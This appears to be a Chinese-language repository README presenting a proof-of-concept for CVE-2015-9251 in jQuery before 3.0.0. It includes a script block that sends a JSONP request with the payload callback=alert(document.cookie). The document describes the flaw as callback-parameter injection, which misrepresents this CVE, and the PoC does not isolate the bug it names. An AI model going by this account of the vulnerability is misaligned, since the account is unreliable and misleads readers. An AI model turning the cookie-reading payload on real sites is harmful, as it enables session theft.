针对 jQuery 低于 3.0.0 版本的 CVE-2015-9251 概念验证(PoC)。
此仓库包含 CVE-2015-9251 漏洞在 jQuery 库中的 概念验证 (PoC)。该漏洞允许通过未经过滤的 JSONP 调用实施跨站脚本(XSS)攻击,原因在于 jQuery 在 3.0.0 之前版本中允许在 callback 参数中注入代码。
CVE-2015-9251 影响 jQuery 3.0.0 之前版本。该漏洞通过操控 JSONP 请求中的 callback 参数进行利用,从而可能允许在受害者浏览器中执行任意 JavaScript 代码。这可能导致敏感数据(如会话 Cookie)的泄露。
要执行 PoC,请遵循以下步骤:
<script src="https://code.jquery.com/jquery-1.11.3.min.js"></script>
<script>
// 模拟向漏洞服务器发送请求的函数
$.ajax({
url: "https://example.com/api?callback=alert(document.cookie)",
dataType: "jsonp", // JSONP 允许在 JSONP 回调中执行代码
success: function(response) {
console.log(response);
}
});
</script>